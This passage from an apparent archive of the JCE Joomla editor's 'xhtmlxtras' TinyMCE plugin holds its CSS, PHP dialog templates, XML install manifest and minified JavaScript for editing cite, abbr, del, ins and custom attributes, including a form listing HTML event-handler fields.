AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/xhtmlxtras",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("xhtmlxtras",tinymce.plugins.XHTMLXtrasPlugin)}();editor/tiny_mce/plugins/xhtmlxtras/css/content.css000060400000000375150750527140016523 0ustar00ins{border-bottom:1px solid green;text-decoration:none;color:green}del{color:Red;text-decoration:line-through}cite{border-bottom:1px dashed #00f}acronym{border-bottom:1px dotted #CCC;cursor:help}abbr,html\:abbr{border-bottom:1px dashed #CCC;cursor:help}editor/tiny_mce/plugins/xhtmlxtras/css/xhtmlxtras.css000060400000000000150750527140017250 0ustar00editor/tiny_mce/plugins/xhtmlxtras/css/index.html000060400000000054150750527140016326 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/xhtmlxtras.php000060400000001125150750527140016470 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/xhtmlxtras.php';

$plugin = new WFXHTMLXtrasPlugin();
$plugin->execute();
editor/tiny_mce/plugins/xhtmlxtras/xhtmlxtras.xml000060400000002476150750527140016513 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="xhtmlxtras" core="1" editable="1">
    <name>WF_XHTMLXTRAS_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_XHTMLXTRAS_DESC</description>
    <icon>cite,abbr,acronym,del,ins,attribs</icon>
    <params group="buttons">
        <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="cite,abbr,acronym,del,ins,attribs" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
            <option value="cite">WF_CITE_TITLE</option>
            <option value="abbr">WF_ABBR_TITLE</option>
            <option value="acronym">WF_ACRONYM_TITLE</option>
            <option value="del">WF_DEL_TITLE</option>
            <option value="ins">WF_INS_TITLE</option>
            <option value="attribs">WF_ATTRIBUTES_TITLE</option>
        </param>
    </params>
    <help>
        <topic key="xhtmlxtras.about" title="WF_XHTMLXTRAS_HELP_ABOUT" />
    </help>
    <languages></languages>
</install>editor/tiny_mce/plugins/xhtmlxtras/js/xhtmlxtras.js000060400000007676150750527140016752 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($){var XHTMLXtrasDialog={settings:{},getAttributes:function(n){var i,ed=tinyMCEPopup.editor,attrs=(n.nodeName.toLowerCase(),n.attributes),attribs={};for(i=attrs.length-1;i>=0;i--){var name=attrs[i].name,value=ed.dom.getAttrib(n,name);"_"!==name.charAt(0)&&name.indexOf("-mce-")===-1&&(attribs[name]=value)}return attribs},init:function(){var ed=tinyMCEPopup.editor,se=ed.selection,n=se.getNode(),element=tinyMCEPopup.getWindowArg("element");if(element&&(n=ed.dom.getParent(n,element)),Wf.init(),n){var attribs=this.getAttributes(n),text=n.textContent||n.innerText||"";if(!se.isCollapsed()||text==se.getContent({format:"text"})){$(":input").each(function(){var k=$(this).attr("id");/on(click|dblclick)/.test(k)&&(k="data-mce-"+k),"classes"!==k&&"classlist"!==k||(k="class");var v=attribs[k];"undefined"!=typeof v&&("class"===k&&(v=v.replace(/mce-item-[a-z0-9]+/gi,"").replace(/\s+/," "),v=$.trim(v)),$(this).val(v),delete attribs[k])});var x=0;$.each(attribs,function(k,v){try{v=decodeURIComponent(v)}catch(e){}var repeatable=$(".uk-repeatable").eq(0);x>0&&$(repeatable).clone(!0).appendTo($(repeatable).parent());var elements=$(".uk-repeatable").eq(x).find("input, select");$(elements).eq(0).val(k),$(elements).eq(1).val(v),x++}),$("#insert").button("option","label",ed.getLang("update","Insert"))}}$("#remove").button({icons:{primary:"uk-icon-minus-circle"}}).toggle(!!element),"html4"===ed.settings.schema&&ed.settings.validate===!0&&$("input.html5").parents(".uk-form-row").hide(),tinymce.is(n,":input, form")||$("input.form").parents(".uk-form-row").hide(),"IMG"!==n.nodeName&&$("input.media").parents(".uk-form-row").hide()},insert:function(){var elm,ed=tinyMCEPopup.editor,se=ed.selection,n=se.getNode();tinyMCEPopup.restoreSelection();var element=tinyMCEPopup.getWindowArg("element"),args={},attribs=this.getAttributes(n);$(":input").not("#classlist-select, #classes, input[name]").each(function(){var k=$(this).attr("id"),v=$(this).val();/on(click|dblclick)/.test(k)&&(k="data-mce-"+k),args[k]=v,delete attribs[k]}),$(".uk-repeatable").each(function(){var elements=$("input, select",this),key=$(elements).eq(0).val(),value=$(elements).eq(1).val();args[key]=value,delete attribs[key]});var cls=$("#classes").val();if(delete attribs.class,$.each(attribs,function(key,value){args[key]=""}),element)elm=n.nodeName.toLowerCase()==element?n:ed.dom.getParent(n,element),ed.formatter.apply(element.toLowerCase(),args,elm),ed.dom.addClass(elm,cls);else{var isTextSelection=se.getContent()==se.getContent({format:"text"});n==ed.getBody()||isTextSelection?(args.class=cls,ed.formatter.apply("attributes",args)):(ed.dom.setAttribs(n,args),ed.dom.addClass(n,cls))}ed.undoManager.add(),tinyMCEPopup.close()},remove:function(){var ed=tinyMCEPopup.editor,element=tinyMCEPopup.getWindowArg("element");element&&(ed.formatter.remove(element),ed.undoManager.add()),tinyMCEPopup.close()},insertDateTime:function(id){document.getElementById(id).value=this.getDateTime(new Date,"%Y-%m-%dT%H:%M:%S")},getDateTime:function(d,fmt){return fmt=fmt.replace("%D","%m/%d/%y"),fmt=fmt.replace("%r","%I:%M:%S %p"),fmt=fmt.replace("%Y",""+d.getFullYear()),fmt=fmt.replace("%y",""+d.getYear()),fmt=fmt.replace("%m",this.addZeros(d.getMonth()+1,2)),fmt=fmt.replace("%d",this.addZeros(d.getDate(),2)),fmt=fmt.replace("%H",""+this.addZeros(d.getHours(),2)),fmt=fmt.replace("%M",""+this.addZeros(d.getMinutes(),2)),fmt=fmt.replace("%S",""+this.addZeros(d.getSeconds(),2)),fmt=fmt.replace("%I",""+((d.getHours()+11)%12+1)),fmt=fmt.replace("%p",""+(d.getHours()<12?"AM":"PM")),fmt=fmt.replace("%%","%")},addZeros:function(value,len){var i;if(value=""+value,value.length<len)for(i=0;i<len-value.length;i++)value="0"+value;return value}};window.XHTMLXtrasDialog=XHTMLXtrasDialog,tinyMCEPopup.onInit.add(XHTMLXtrasDialog.init,XHTMLXtrasDialog)}(jQuery);editor/tiny_mce/plugins/xhtmlxtras/js/index.html000060400000000054150750527140016152 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard_datetime.php000060400000002354150750527140020707 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10"
           for="datetime"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_DATETIME'); ?></label>
    <div class="uk-form-controls uk-form-icon uk-form-icon-flip uk-width-8-10">
            <input id="datetime" type="text" value="" />
            <i class="uk-icon-clock-o" onclick="XHTMLXtrasDialog.insertDateTime('datetime');" title="<?php echo WFText::_('WF_XHTMLXTRAS_INSERT_DATE'); ?>"></i>
    </div>
</div>
<div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10" for="cite">
        <?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_CITE'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
        <input id="cite" type="text" value="" />
    </div>
</div>editor/tiny_mce/plugins/xhtmlxtras/tmpl/default.php000060400000002116150750527140016653 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

$tabs = WFTabs::getInstance();
?>
<form onsubmit="return false;" action="#">
	<div id="<?php echo $this->plugin->getElementName(); ?>">
  	<?php $tabs->render(); ?>
  	</div>
	<div class="mceActionPanel">
		<button class="uk-button" type="submit" id="insert" onclick="XHTMLXtrasDialog.insert();"><?php echo WFText::_('WF_LABEL_UPDATE'); ?></button>
		<button class="uk-button" type="button" id="remove" onclick="XHTMLXtrasDialog.remove();"><?php echo WFText::_('WF_XHTMLXTRAS_REMOVE'); ?></button>
		<button class="uk-button" type="button" id="cancel"><?php echo WFText::_('WF_LABEL_CANCEL'); ?></button>
	</div>
</form>editor/tiny_mce/plugins/xhtmlxtras/tmpl/index.html000060400000000054150750527140016512 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard_html5.php000060400000010226150750527140020141 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
  <div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10" for="contenteditable">
      <?php echo WFText::_('WF_LABEL_CONTENTEDITBALE'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
      <select id="contenteditable">
        <option value="">
          <?php echo WFText::_('WF_OPTION_NOT_SET'); ?>
        </option>
        <option value="true">
          <?php echo WFText::_('WF_OPTION_YES'); ?>
        </option>
        <option value="false">
          <?php echo WFText::_('WF_OPTION_NO'); ?>
        </option>
        <option value="inherit">
          <?php echo WFText::_('WF_OPTION_INHERIT'); ?>
        </option>
      </select>
    </div>
  </div>

  <div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10" for="draggable">
      <?php echo WFText::_('WF_LABEL_DRAGGABLE'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
      <select id="draggable">
        <option value="">
          <?php echo WFText::_('WF_OPTION_NOT_SET'); ?>
        </option>
        <option value="true">
          <?php echo WFText::_('WF_OPTION_YES'); ?>
        </option>
        <option value="false">
          <?php echo WFText::_('WF_OPTION_NO'); ?>
        </option>
        <option value="auto">
          <?php echo WFText::_('WF_OPTION_AUTO'); ?>
        </option>
      </select>
    </div>
  </div>

  <div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10" for="hidden">
      <?php echo WFText::_('WF_LABEL_HIDDEN'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
      <select id="hidden">
        <option value="">
          <?php echo WFText::_('WF_OPTION_NOT_SET'); ?>
        </option>
        <option value="">
          <?php echo WFText::_('WF_OPTION_NO'); ?>
        </option>
        <option value="hidden">
          <?php echo WFText::_('WF_OPTION_YES'); ?>
        </option>
      </select>
    </div>
  </div>

  <div class="uk-form-row">
    <label class="uk-form-label uk-width-2-10" for="spellcheck">
      <?php echo WFText::_('WF_LABEL_SPELLCHECK'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
      <select id="spellcheck">
        <option value="">
          <?php echo WFText::_('WF_OPTION_NOT_SET'); ?>
        </option>
        <option value="true">
          <?php echo WFText::_('WF_OPTION_YES'); ?>
        </option>
        <option value="false">
          <?php echo WFText::_('WF_OPTION_NO'); ?>
        </option>
      </select>
    </div>
  </div>

  <div class="uk-form-row">
    <label for="custom_attributes" class="uk-form-label uk-width-2-10">
      <?php echo WFText::_('WF_LABEL_OTHER'); ?>
    </label>
    <div class="uk-form-controls uk-width-8-10">
      <div class="uk-repeatable">
        <div class="uk-form-controls uk-grid uk-grid-small uk-margin-small uk-width-9-10">
          <label class="uk-form-label uk-width-1-10">
            <?php echo WFText::_('WF_LABEL_NAME'); ?>
          </label>
          <div class="uk-form-controls uk-width-4-10">
            <input type="text" name="custom_name[]" />
          </div>
          <label class="uk-form-label uk-width-1-10">
            <?php echo WFText::_('WF_LABEL_VALUE'); ?>
          </label>
          <div class="uk-form-controls uk-width-4-10">
            <input type="text" name="custom_value[]" />
          </div>
        </div>
        <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
          <button type="button" class="uk-button uk-repeatable-create">
            <i class="uk-icon-plus"></i>
          </button>
          <button type="button" class="uk-button uk-repeatable-delete">
            <i class="uk-icon-trash"></i>
          </button>
        </div>
      </div>
    </div>
  </div>editor/tiny_mce/plugins/xhtmlxtras/tmpl/events.php000060400000042777150750527140016554 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onafterprint">onafterprint</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onafterprint" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onbeforeprint">onbeforeprint</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onbeforeprint" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onbeforeonload">onbeforeonload</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onbeforeonload" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onblur">onblur</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onblur" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onerror">onerror</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onerror" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onfocus">onfocus</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onfocus" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onhaschange">onhaschange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onhaschange" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onload">onload</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onload" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmessage">onmessage</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmessage" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onoffline">onoffline</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onoffline" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ononline">ononline</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ononline" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onpagehide">onpagehide</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onpagehide" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onpageshow">onpageshow</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onpageshow" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onpopstate">onpopstate</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onpopstate" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onredo">onredo</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onredo" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onresize">onresize</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onresize" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onstorage">onstorage</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onstorage" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onundo">onundo</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onundo" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onunloa">onunloa</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onunload" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onkeydown">onkeydown</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onkeydown" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onkeypress">onkeypress</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onkeypress" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onkeyu">onkeyu</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onkeyu" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onclick">onclick</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onclick" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondblclick">ondblclick</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondblclick" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondrag">ondrag</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondrag" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondragend">ondragend</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondragend" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondragenter">ondragenter</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondragenter" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondragleave">ondragleave</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondragleave" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondragover">ondragover</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondragover" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondragstart">ondragstart</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondragstart" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondrop">ondrop</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondrop" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmousedown">onmousedown</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmousedown" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmousemove">onmousemove</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmousemove" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmouseout">onmouseout</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmouseout" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmouseover">onmouseover</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmouseover" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmouseup">onmouseup</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmouseup" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onmousewheel">onmousewheel</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onmousewheel" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onscroll">onscroll</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onscroll" class="html5" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="oncontextmenu">oncontextmenu</label>
        <div class="uk-form-controls uk-width-8-10"><input id="oncontextmenu" type="text" class="html5" value="" /></div>
    </div>

    <!-- Form -->

    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onblur">onblur</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onblur" type="text" class="form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onchange">onchange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onchange" type="text" class="form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onfocus">onfocus</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onfocus" type="text" class="form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onformchange">onformchange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onformchange" type="text" class="html5 form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onforminput">onforminput</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onforminput" type="text" class="html5 form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="oninput">oninput</label>
        <div class="uk-form-controls uk-width-8-10"><input id="oninput" type="text" class="html5 form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="oninvalid">oninvalid</label>
        <div class="uk-form-controls uk-width-8-10"><input id="oninvalid" type="text" class="html5 form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onselect">onselect</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onselect" type="text" class="form" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onsubmit">onsubmit</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onsubmit" type="text" class="form" value="" /></div>
    </div>

    <!-- Media -->
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onabort">onabort</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onabort" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="oncanplay">oncanplay</label>
        <div class="uk-form-controls uk-width-8-10"><input id="oncanplay" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="oncanplaythrough">oncanplaythrough</label>
        <div class="uk-form-controls uk-width-8-10"><input id="oncanplaythrough" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ondurationchange">ondurationchange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ondurationchange" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onemptied">onemptied</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onemptied" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onended">onended</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onended" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onerror">onerror</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onerror" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onloadeddata">onloadeddata</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onloadeddata" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onloadedmetadata">onloadedmetadata</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onloadedmetadata" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onloadstart">onloadstart</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onloadstart" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onpause">onpause</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onpause" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onplay">onplay</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onplay" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onplaying">onplaying</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onplaying" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onprogress">onprogress</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onprogress" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onratechange">onratechange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onratechange" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onreadystatechange">onreadystatechange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onreadystatechange" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onseeked">onseeked</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onseeked" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onseeking">onseeking</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onseeking" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onstalled">onstalled</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onstalled" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onsuspend">onsuspend</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onsuspend" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="ontimeupdate">ontimeupdate</label>
        <div class="uk-form-controls uk-width-8-10"><input id="ontimeupdate" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onvolumechange">onvolumechange</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onvolumechange" type="text" class="html5 media" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="onwaiting">onwaiting</label>
        <div class="uk-form-controls uk-width-8-10"><input id="onwaiting" type="text" class="html5 media" value="" /></div>
    </div>editor/tiny_mce/plugins/xhtmlxtras/tmpl/standard.php000060400000005113150750527140017027 0ustar00<?php
/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

$element = $this->plugin->getElementName();

if ($element == 'del' || $element == 'ins') :
    echo $this->loadTemplate('datetime');
endif;
?>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="title"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_TITLE'); ?></label>
        <div class="uk-form-controls uk-width-8-10"><input id="title" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="id"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_ID'); ?></label>
        <div class="uk-form-controls uk-width-8-10"><input id="id" type="text" value="" /></div>
    </div>
    <div class="uk-form-row">
        <label for="classlist" class="uk-form-label uk-width-2-10 hastip" title="<?php echo WFText::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo WFText::_('WF_LABEL_CLASSES'); ?></label>
        <div class="uk-form-controls uk-width-8-10 uk-datalist">
            <input type="text" id="classes" />
            <select id="classlist">
